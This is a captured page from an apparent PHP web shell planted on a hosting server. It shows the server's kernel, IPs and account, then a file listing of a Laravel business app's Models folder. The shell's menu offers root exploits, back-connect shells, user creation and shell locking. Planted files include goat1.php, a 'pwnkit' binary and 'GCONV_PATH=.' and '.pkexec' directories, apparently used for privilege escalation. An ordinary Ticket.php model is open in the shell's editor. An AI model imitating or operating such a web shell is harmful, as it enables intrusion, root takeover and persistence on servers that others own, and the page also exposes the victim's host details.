Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.20
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo5.com /
app /
Models /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AcceptEstimate.php
1.79
KB
-rw-r--r--
Appreciation.php
2.68
KB
-rw-r--r--
Attendance.php
17.04
KB
-rw-r--r--
AttendanceRegularisation.php
582
B
-rw-r--r--
AttendanceSetting.php
4.75
KB
-rw-r--r--
AutomateShift.php
704
B
-rw-r--r--
Award.php
1.86
KB
-rw-r--r--
AwardIcon.php
1.21
KB
-rw-r--r--
BankAccount.php
3.75
KB
-rw-r--r--
BankTransaction.php
3.28
KB
-rw-r--r--
BaseModel.php
1.7
KB
-rw-r--r--
ClientCategory.php
1.17
KB
-rw-r--r--
ClientContact.php
2.11
KB
-rw-r--r--
ClientDetails.php
5.39
KB
-rw-r--r--
ClientDocument.php
2.57
KB
-rw-r--r--
ClientNote.php
2.54
KB
-rw-r--r--
ClientSubCategory.php
1.57
KB
-rw-r--r--
ClientUserNote.php
1.34
KB
-rw-r--r--
Company.php
23.63
KB
-rw-r--r--
CompanyAddress.php
2.5
KB
-rw-r--r--
Contract.php
8.1
KB
-rw-r--r--
ContractDiscussion.php
2.05
KB
-rw-r--r--
ContractFile.php
3.37
KB
-rw-r--r--
ContractRenew.php
2.45
KB
-rw-r--r--
ContractSign.php
2.24
KB
-rw-r--r--
ContractTemplate.php
2.53
KB
-rw-r--r--
ContractType.php
1.13
KB
-rw-r--r--
Country.php
8.6
KB
-rw-r--r--
CreditNoteItem.php
3.51
KB
-rw-r--r--
CreditNoteItemImage.php
2.33
KB
-rw-r--r--
CreditNotes.php
8.82
KB
-rw-r--r--
Currency.php
2.47
KB
-rw-r--r--
CurrencyFormatSetting.php
1.61
KB
-rw-r--r--
CustomField.php
5.94
KB
-rw-r--r--
CustomFieldGroup.php
3.83
KB
-rw-r--r--
CustomLinkSetting.php
1.59
KB
-rw-r--r--
CustomModulePermission.php
498
B
-rw-r--r--
DashboardWidget.php
10.29
KB
-rw-r--r--
DatabaseBackup.php
933
B
-rw-r--r--
DatabaseBackupSetting.php
1.17
KB
-rw-r--r--
Deal.php
9.51
KB
-rw-r--r--
DealFile.php
2.52
KB
-rw-r--r--
DealFollowUp.php
2.69
KB
-rw-r--r--
DealHistory.php
981
B
-rw-r--r--
DealNote.php
2.62
KB
-rw-r--r--
Designation.php
2.33
KB
-rw-r--r--
Discussion.php
4.83
KB
-rw-r--r--
DiscussionCategory.php
1.42
KB
-rw-r--r--
DiscussionFile.php
3.22
KB
-rw-r--r--
DiscussionReply.php
3.42
KB
-rw-r--r--
EmailNotificationSetting.php
8.16
KB
-rw-r--r--
EmergencyContact.php
2.19
KB
-rw-r--r--
EmployeeActivity.php
927
B
-rw-r--r--
EmployeeDetails.php
5.32
KB
-rw-r--r--
EmployeeDocument.php
2.55
KB
-rw-r--r--
EmployeeDocumentExpiry.php
3.8
KB
-rw-r--r--
EmployeeLeaveQuota.php
1.85
KB
-rw-r--r--
EmployeeLeaveQuotaHistory.php
469
B
-rw-r--r--
EmployeeShift.php
2.63
KB
-rw-r--r--
EmployeeShiftChangeRequest.php
2.18
KB
-rw-r--r--
EmployeeShiftSchedule.php
3.81
KB
-rw-r--r--
EmployeeSkill.php
1.61
KB
-rw-r--r--
EmployeeTeam.php
1.5
KB
-rw-r--r--
Estimate.php
6.5
KB
-rw-r--r--
EstimateItem.php
3.44
KB
-rw-r--r--
EstimateItemImage.php
2.51
KB
-rw-r--r--
EstimateRequest.php
1.14
KB
-rw-r--r--
EstimateTemplate.php
4.06
KB
-rw-r--r--
EstimateTemplateItem.php
3.76
KB
-rw-r--r--
EstimateTemplateItemImage.php
2.58
KB
-rw-r--r--
Event.php
5.13
KB
-rw-r--r--
EventAttendee.php
1.66
KB
-rw-r--r--
EventFile.php
1.98
KB
-rw-r--r--
Expense.php
7.52
KB
-rw-r--r--
ExpenseRecurring.php
6.9
KB
-rw-r--r--
ExpensesCategory.php
2.17
KB
-rw-r--r--
ExpensesCategoryRole.php
1.72
KB
-rw-r--r--
FileStorage.php
2.64
KB
-rw-r--r--
Flag.php
962
B
-rw-r--r--
GanttLink.php
144
B
-rw-r--r--
GdprSetting.php
2.61
KB
-rw-r--r--
GlobalSetting.php
22.56
KB
-rw-r--r--
GoogleCalendarModule.php
2.02
KB
-rw-r--r--
Holiday.php
5.23
KB
-rw-r--r--
Invoice.php
12.7
KB
-rw-r--r--
InvoiceFiles.php
2.25
KB
-rw-r--r--
InvoiceItemImage.php
2.29
KB
-rw-r--r--
InvoiceItems.php
3.6
KB
-rw-r--r--
InvoicePaymentDetail.php
1.05
KB
-rw-r--r--
InvoiceSetting.php
7.82
KB
-rw-r--r--
Issue.php
2.65
KB
-rw-r--r--
KnowledgeBase.php
2.32
KB
-rw-r--r--
KnowledgeBaseCategory.php
1.61
KB
-rw-r--r--
KnowledgeBaseFile.php
2.57
KB
-rw-r--r--
LanguageSetting.php
7.94
KB
-rw-r--r--
Lead.php
8.23
KB
-rw-r--r--
LeadAgent.php
2.05
KB
-rw-r--r--
LeadCategory.php
1.65
KB
-rw-r--r--
LeadCustomForm.php
4.98
KB
-rw-r--r--
LeadNote.php
2.54
KB
-rw-r--r--
LeadPipeline.php
2.6
KB
-rw-r--r--
LeadPipelineStages.php
2.58
KB
-rw-r--r--
LeadProduct.php
1.61
KB
-rw-r--r--
LeadSetting.php
227
B
-rw-r--r--
LeadSource.php
1.72
KB
-rw-r--r--
LeadStatus.php
2
KB
-rw-r--r--
LeadUserNote.php
1.09
KB
-rw-r--r--
Leave.php
8.57
KB
-rw-r--r--
LeaveFile.php
2.28
KB
-rw-r--r--
LeaveSetting.php
1.18
KB
-rw-r--r--
LeaveType.php
9.58
KB
-rw-r--r--
LogTimeFor.php
2.03
KB
-rw-r--r--
MentionUser.php
2.86
KB
-rw-r--r--
Menu.php
1.63
KB
-rw-r--r--
MessageSetting.php
1.59
KB
-rw-r--r--
MobileAppDownloadSetting.php
738
B
-rw-r--r--
Module.php
69.85
KB
-rw-r--r--
ModuleSetting.php
3.87
KB
-rw-r--r--
Notice.php
3.27
KB
-rw-r--r--
NoticeBoardUser.php
498
B
-rw-r--r--
NoticeFile.php
702
B
-rw-r--r--
NoticeView.php
1.69
KB
-rw-r--r--
Notification.php
1.62
KB
-rw-r--r--
OfflinePaymentMethod.php
2.41
KB
-rw-r--r--
Order.php
5.7
KB
-rw-r--r--
OrderCart.php
2.93
KB
-rw-r--r--
OrderItemImage.php
1.55
KB
-rw-r--r--
OrderItems.php
3.8
KB
-rw-r--r--
Passport.php
2.6
KB
-rw-r--r--
Payment.php
8.27
KB
-rw-r--r--
PaymentGatewayCredentials.php
12.54
KB
-rw-r--r--
Permission.php
2.38
KB
-rw-r--r--
PermissionRole.php
10.66
KB
-rw-r--r--
PermissionType.php
1.28
KB
-rw-r--r--
Pinned.php
1.87
KB
-rw-r--r--
PipelineStage.php
2.8
KB
-rw-r--r--
Product.php
8.8
KB
-rw-r--r--
ProductCategory.php
1.54
KB
-rw-r--r--
ProductFiles.php
3.11
KB
-rw-r--r--
ProductSubCategory.php
1.6
KB
-rw-r--r--
Project.php
18.31
KB
-rw-r--r--
ProjectActivity.php
2.12
KB
-rw-r--r--
ProjectCategory.php
2.03
KB
-rw-r--r--
ProjectDepartment.php
492
B
-rw-r--r--
ProjectFile.php
2.97
KB
-rw-r--r--
ProjectLabel.php
1.28
KB
-rw-r--r--
ProjectLabelList.php
1.8
KB
-rw-r--r--
ProjectMember.php
2.77
KB
-rw-r--r--
ProjectMilestone.php
3.74
KB
-rw-r--r--
ProjectNote.php
3.49
KB
-rw-r--r--
ProjectRating.php
1.69
KB
-rw-r--r--
ProjectSetting.php
1.82
KB
-rw-r--r--
ProjectStatusSetting.php
2.49
KB
-rw-r--r--
ProjectSubCategory.php
1.81
KB
-rw-r--r--
ProjectTemplate.php
5.09
KB
-rw-r--r--
ProjectTemplateMember.php
2.42
KB
-rw-r--r--
ProjectTemplateMilestone.php
3.8
KB
-rw-r--r--
ProjectTemplateSubTask.php
1.89
KB
-rw-r--r--
ProjectTemplateTask.php
3.08
KB
-rw-r--r--
ProjectTemplateTaskUser.php
1.61
KB
-rw-r--r--
ProjectTimeLog.php
11.47
KB
-rw-r--r--
ProjectTimeLogBreak.php
5.24
KB
-rw-r--r--
ProjectUserNote.php
1.25
KB
-rw-r--r--
Promotion.php
1.31
KB
-rw-r--r--
Proposal.php
5.13
KB
-rw-r--r--
ProposalItem.php
3.44
KB
-rw-r--r--
ProposalItemImage.php
2.51
KB
-rw-r--r--
ProposalSign.php
1.45
KB
-rw-r--r--
ProposalTemplate.php
3.66
KB
-rw-r--r--
ProposalTemplateItem.php
3.06
KB
-rw-r--r--
ProposalTemplateItemImage.php
2.58
KB
-rw-r--r--
PurposeConsent.php
1.57
KB
-rw-r--r--
PurposeConsentLead.php
1.76
KB
-rw-r--r--
PurposeConsentUser.php
1.66
KB
-rw-r--r--
PushNotificationSetting.php
1.87
KB
-rw-r--r--
PusherSetting.php
1.8
KB
-rw-r--r--
Qrcodes.php
219
B
-rw-r--r--
QuickBooksSetting.php
2.35
KB
-rw-r--r--
RecurringInvoice.php
8.22
KB
-rw-r--r--
RecurringInvoiceItemImage.php
2.57
KB
-rw-r--r--
RecurringInvoiceItems.php
2.94
KB
-rw-r--r--
RecurringInvoiceLog.php
642
B
-rw-r--r--
RemovalRequest.php
1.69
KB
-rw-r--r--
RemovalRequestLead.php
1.79
KB
-rw-r--r--
Role.php
3.54
KB
-rw-r--r--
RoleUser.php
1
KB
-rw-r--r--
RotationAutomateLog.php
176
B
-rw-r--r--
Session.php
1.1
KB
-rw-r--r--
ShiftRotation.php
702
B
-rw-r--r--
ShiftRotationSequence.php
544
B
-rw-r--r--
SignUpSetting.php
453
B
-rw-r--r--
Skill.php
1.12
KB
-rw-r--r--
SlackSetting.php
1.77
KB
-rw-r--r--
SmtpSetting.php
3.87
KB
-rw-r--r--
Social.php
1.13
KB
-rwxr-xr-x
SocialAuthSetting.php
3.49
KB
-rw-r--r--
StickyNote.php
1.84
KB
-rw-r--r--
StorageSetting.php
4.01
KB
-rw-r--r--
SubTask.php
2.67
KB
-rw-r--r--
SubTaskFile.php
3.02
KB
-rw-r--r--
Task.php
22.44
KB
-rw-r--r--
TaskCategory.php
1.69
KB
-rw-r--r--
TaskComment.php
8.87
KB
-rw-r--r--
TaskCommentEmoji.php
1.6
KB
-rw-r--r--
TaskFile.php
2.88
KB
-rw-r--r--
TaskHistory.php
2.24
KB
-rw-r--r--
TaskLabel.php
1.24
KB
-rw-r--r--
TaskLabelList.php
1.76
KB
-rw-r--r--
TaskNote.php
2.67
KB
-rw-r--r--
TaskSetting.php
3.54
KB
-rw-r--r--
TaskTag.php
626
B
-rw-r--r--
TaskTagList.php
472
B
-rw-r--r--
TaskUser.php
1.71
KB
-rw-r--r--
TaskboardColumn.php
2.55
KB
-rw-r--r--
Tax.php
1.65
KB
-rw-r--r--
Team.php
2.5
KB
-rw-r--r--
ThemeSetting.php
1.89
KB
-rw-r--r--
Ticket.php
11.39
KB
-rw-r--r--
TicketActivity.php
4.32
KB
-rw-r--r--
TicketAgentGroups.php
2.04
KB
-rw-r--r--
TicketChannel.php
1.43
KB
-rw-r--r--
TicketCustomForm.php
2.27
KB
-rw-r--r--
TicketEmailSetting.php
2.39
KB
-rw-r--r--
TicketFile.php
2.91
KB
-rw-r--r--
TicketGroup.php
1.83
KB
-rw-r--r--
TicketReply.php
3.18
KB
-rw-r--r--
TicketReplyTemplate.php
1.34
KB
-rw-r--r--
TicketReplyUser.php
492
B
-rw-r--r--
TicketSettingForAgents.php
456
B
-rw-r--r--
TicketTag.php
1.45
KB
-rw-r--r--
TicketTagList.php
1.21
KB
-rw-r--r--
TicketType.php
1.38
KB
-rw-r--r--
TranslateSetting.php
1.03
KB
-rw-r--r--
UnitType.php
9.5
KB
-rw-r--r--
UniversalSearch.php
1.58
KB
-rw-r--r--
User.php
41.94
KB
-rw-r--r--
UserActivity.php
1.5
KB
-rw-r--r--
UserChat.php
6.85
KB
-rw-r--r--
UserInvitation.php
2.33
KB
-rw-r--r--
UserLeadboardSetting.php
1.68
KB
-rw-r--r--
UserPermission.php
2.27
KB
-rw-r--r--
UserTaskboardSetting.php
1.53
KB
-rw-r--r--
UserchatFile.php
3.03
KB
-rw-r--r--
VisaDetail.php
2.64
KB
-rw-r--r--
WeeklyTimesheet.php
845
B
-rw-r--r--
WeeklyTimesheetEntries.php
573
B
-rw-r--r--
goat1.php
143.87
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Ticket.php
<?php namespace App\Models; use App\Scopes\ActiveScope; use App\Traits\CustomFieldsTrait; use App\Traits\HasCompany; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Support\Facades\DB; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\BelongsToMany; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\HasOne; use Illuminate\Database\Eloquent\SoftDeletes; use App\Helper\UserService; /** * App\Models\Ticket * * @property int $id * @property int $user_id * @property string $subject * @property string $status * @property string $priority * @property int|null $agent_id * @property int|null $channel_id * @property int|null $type_id * @property \Illuminate\Support\Carbon|null $created_at * @property \Illuminate\Support\Carbon|null $updated_at * @property \Illuminate\Support\Carbon|null $deleted_at * @property int|null $added_by * @property int|null $last_updated_by * @property-read \App\Models\User|null $agent * @property-read \App\Models\User $client * @property-read mixed $created_on * @property-read mixed $icon * @property-read \Illuminate\Database\Eloquent\Collection|\App\Models\TicketReply[] $reply * @property-read int|null $reply_count * @property-read \App\Models\User $requester * @property-read \Illuminate\Database\Eloquent\Collection|\App\Models\TicketTag[] $tags * @property-read int|null $tags_count * @property-read \Illuminate\Database\Eloquent\Collection|\App\Models\TicketTagList[] $ticketTags * @property-read int|null $ticket_tags_count * @method static \Database\Factories\TicketFactory factory(...$parameters) * @method static \Illuminate\Database\Eloquent\Builder|Ticket newModelQuery() * @method static \Illuminate\Database\Eloquent\Builder|Ticket newQuery() * @method static \Illuminate\Database\Query\Builder|Ticket onlyTrashed() * @method static \Illuminate\Database\Eloquent\Builder|Ticket query() * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereAddedBy($value) * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereAgentId($value) * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereChannelId($value) * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereCreatedAt($value) * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereDeletedAt($value) * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereId($value) * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereLastUpdatedBy($value) * @method static \Illuminate\Database\Eloquent\Builder|Ticket wherePriority($value) * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereStatus($value) * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereSubject($value) * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereTypeId($value) * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereUpdatedAt($value) * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereUserId($value) * @method static \Illuminate\Database\Query\Builder|Ticket withTrashed() * @method static \Illuminate\Database\Query\Builder|Ticket withoutTrashed() * @property string|null $mobile * @property int|null $country_id * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereCountryId($value) * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereMobile($value) * @property string|null $close_date * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereCloseDate($value) * @property int|null $company_id * @property-read \App\Models\Company|null $company * @property-read mixed $extras * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereCompanyId($value) * @property int|null $ticket_number * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereTicketNumber($value) * @property int|null $group_id * @property-read \App\Models\TicketReply|null $latestReply * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereGroupId($value) * @property-read \Illuminate\Database\Eloquent\Collection<int, \App\Models\User> $mentionUser * @property-read int|null $mention_user_count * @property-read \Illuminate\Database\Eloquent\Collection<int, \App\Models\MentionUser> $ticketMention * @property-read int|null $ticket_mention_count * @property int|null $project_id * @property-read \Illuminate\Database\Eloquent\Collection<int, \App\Models\TicketActivity> $activities * @property-read int|null $activities_count * @property-read \App\Models\Project|null $project * @method static \Illuminate\Database\Eloquent\Builder|Ticket whereProjectId($value) * @mixin \Eloquent */ class Ticket extends BaseModel { use HasCompany, SoftDeletes, HasFactory, CustomFieldsTrait; const CUSTOM_FIELD_MODEL = 'App\Models\Ticket'; protected $casts = [ 'deleted_at' => 'datetime', ]; protected $appends = ['created_on']; public function group() { return $this->belongsTo(TicketGroup::class, 'group_id'); } public function requester(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function agent(): BelongsTo { return $this->belongsTo(User::class, 'agent_id')->withoutGlobalScope(ActiveScope::class); } public function client(): BelongsTo { return $this->belongsTo(User::class, 'user_id')->withoutGlobalScope(ActiveScope::class); } public function reply(): HasMany { return $this->hasMany(TicketReply::class, 'ticket_id'); } public function latestReply(): HasOne { return $this->hasOne(TicketReply::class, 'ticket_id')->latest(); } public function tags(): HasMany { return $this->hasMany(TicketTag::class, 'ticket_id'); } public function ticketTags(): BelongsToMany { return $this->belongsToMany(TicketTagList::class, 'ticket_tags', 'ticket_id', 'tag_id'); } public function getCreatedOnAttribute() { if (is_null($this->created_at)) { return ''; } return $this->created_at->timezone(company()->timezone)->format('d M Y H:i'); } public function badge($tag = 'p'): string { $latestReplyUser = $this->latestReply?->user; $totalReply = $this->reply()->count(); $selfReplyCount = $this->reply()->where('user_id', $latestReplyUser?->id)->count(); if ($totalReply > 1 && ($totalReply !== $selfReplyCount) && $latestReplyUser && $latestReplyUser->id !== user()->id) { return '<' . $tag . ' class="mb-0"><span class="badge badge-secondary mr-1 bg-info">' . __('app.newResponse') . '</span></' . $tag . '>'; } return $totalReply == 1 || ($totalReply == $selfReplyCount) ? '<' . $tag . ' class="mb-0"><span class="badge badge-secondary mr-1 bg-dark-green">' . __('app.new') . '</span></' . $tag . '>' : ''; } public function mentionUser(): BelongsToMany { return $this->belongsToMany(User::class, 'mention_users')->withoutGlobalScope(ActiveScope::class)->using(MentionUser::class); } public function ticketMention(): HasMany { return $this->hasMany(MentionUser::class, 'ticket_id'); } public function project(): BelongsTo { return $this->belongsTo(Project::class, 'project_id'); } /** * Scope: filter tickets by tag(s). Accepts tagId as comma-separated string or array * to keep URLs short (e.g. tagId=1,2,3 instead of tagId[]=1&tagId[]=2&tagId[]=3). * * @param Builder $query * @param string|array|null $tagId 'all' = untagged only, 'all,1,2' = tagged with 1/2 or untagged, '1,2,3' = has tags 1,2,3 */ public function scopeTagFilter(Builder $query, $tagId): Builder { if ($tagId === null || $tagId === '') { return $query; } $tagIds = is_array($tagId) ? array_values(array_filter($tagId)) : array_values(array_filter(explode(',', (string) $tagId))); if (empty($tagIds)) { return $query; } $allMode = (string) $tagIds[0] === 'all'; if ($allMode) { $tagIds = array_slice($tagIds, 1); } if ($allMode && empty($tagIds)) { return $query->whereNotExists(function ($q) { $q->select(DB::raw(1)) ->from('ticket_tags') ->whereColumn('ticket_tags.ticket_id', 'tickets.id'); }); } if ($allMode && ! empty($tagIds)) { return $query->leftJoin('ticket_tags', 'ticket_tags.ticket_id', '=', 'tickets.id') ->where(function ($q) use ($tagIds) { $q->whereIn('ticket_tags.tag_id', $tagIds) ->orWhereNull('ticket_tags.tag_id'); }) ->groupBy('tickets.id'); } return $query->join('ticket_tags', 'ticket_tags.ticket_id', 'tickets.id') ->whereIn('ticket_tags.tag_id', $tagIds) ->groupBy('tickets.id'); } public function activities(): HasMany { return $this->hasMany(TicketActivity::class, 'ticket_id')->latest(); } /* * Permissions */ public function hasAllPermission($permission): bool { return $permission == 'all'; } public function hasAddedPermission($permission): bool { $userid = UserService::getUserId(); $id = user()->id; if (in_array('client', user_roles())) { $clientContact = ClientContact::where('client_id', user()->id)->first(); if ($clientContact) { $id = $clientContact->user_id; } } return $permission == 'added' && ($userid == $this->added_by || user()->id == $this->added_by || $id == $this->added_by); } public function hasOwnedPermission($permission): bool { $userid = UserService::getUserId(); return $permission == 'owned' && ((user()->id == $this->agent_id || $userid == $this->agent_id) || (user()->id == $this->user_id || $userid == $this->user_id)); } public function hasBothPermission($permission): bool { $userid = UserService::getUserId(); $id = user()->id; if (in_array('client', user_roles())) { $clientContact = ClientContact::where('client_id', user()->id)->first(); if ($clientContact) { $id = $clientContact->user_id; } } return $permission == 'both' && ((user()->id == $this->agent_id || $userid == $this->agent_id) || ($userid == $this->added_by || user()->id == $this->added_by || $id == $this->added_by) || (user()->id == $this->user_id || $userid == $this->user_id)); } public function canViewTicket(): bool { return $this->hasPermission(user()->permission('view_tickets')); } public function canDeleteTicket(): bool { return $this->hasPermission(user()->permission('delete_tickets')); } public function canEditTicket(): bool { return $this->hasPermission(user()->permission('edit_tickets')); } public function hasPermission($permission): bool { return $this->hasAllPermission($permission) || $this->hasAddedPermission($permission) || $this->hasOwnedPermission($permission) || $this->hasBothPermission($permission); } /* * Permissions End here */ }
Close